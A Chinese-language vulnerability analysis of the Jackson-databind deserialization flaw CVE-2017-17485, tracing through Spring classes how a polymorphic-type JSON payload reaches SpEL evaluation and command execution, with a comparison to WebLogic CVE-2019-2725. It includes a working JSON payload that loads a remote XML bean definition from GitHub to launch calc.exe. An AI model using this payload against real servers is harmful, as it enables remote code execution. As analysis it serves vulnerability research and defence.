CVE-2017-17485 Jackson-databind 反序列化

0x01 概述

Jackson-databind的作用简单来说就是就是将json转换成对象。

0x02 漏洞分析

从payload来看,应该也是和

org.springframework.context.support.FileSystemXmlApplicationContext这个有关系。

1
{"id":123, "obj": ["org.springframework.context.support.FileSystemXmlApplicationContext", "https://raw.githubusercontent.com/irsl/jackson-rce-via-spel/master/spel.xml"]}

在这个地方下一个断点

org/springframework/context/support/FileSystemXmlApplicationContext.class

通过idea可以通过 diagramsShow Diagram Popup 查看类与接口之间的继承关系。

beanFactory 中有 getBean 的构造方法

而实际 getBean 的构造方法是在 AbstractBeanFactory 类中调用。

我们试着在 AbstractBeanFactory 类中的 getBean 方法下个断点也就是说程序通过一系列的json反序列化,以及反射机制进入到了 getBean 方法,并且获取到了这个 name 为pb的方法。

在org.springframework.beans.factory.support.BeanDefinitionValueResolver#resolveValueIfNecessary这里下断点,我看到经过 evaluate 处理之后 valueObject 等于我们要执行的 calc.exe

这里看一下 evaluate 方法的实现。

然后会继续解析 #{ pb.start() } ,对 #{ pb.start() } 进行spel操作。

当解析完 pb.start 操作后就会命令执行。

0x03 后话

回过头看一下发现 Weblogic-CVE-2019-2725 使用的 FileSystemXmlApplicationContextCVE-2017-17485 使用的 FileSystemXmlApplicationContext 相比缺少了一步表达式解析,也就是

1
Object valueObject = this.evaluate(typedStringValue);

那我试试看,调整一下payload,当然也是可以的。

也就是说实际上 CVE-2017-17485 所用到的spring版本为5.0.2,它足够高,支持spel表达式的方法来初始化 bean 对象,而 Weblogic-CVE-2019-2725 所用到的spring版本过低,无法支持spel表达式,所以它需要通过指定 init-method 的方法来初始化 bean 对象。

0x04 Reference

jackson-rce-via-spel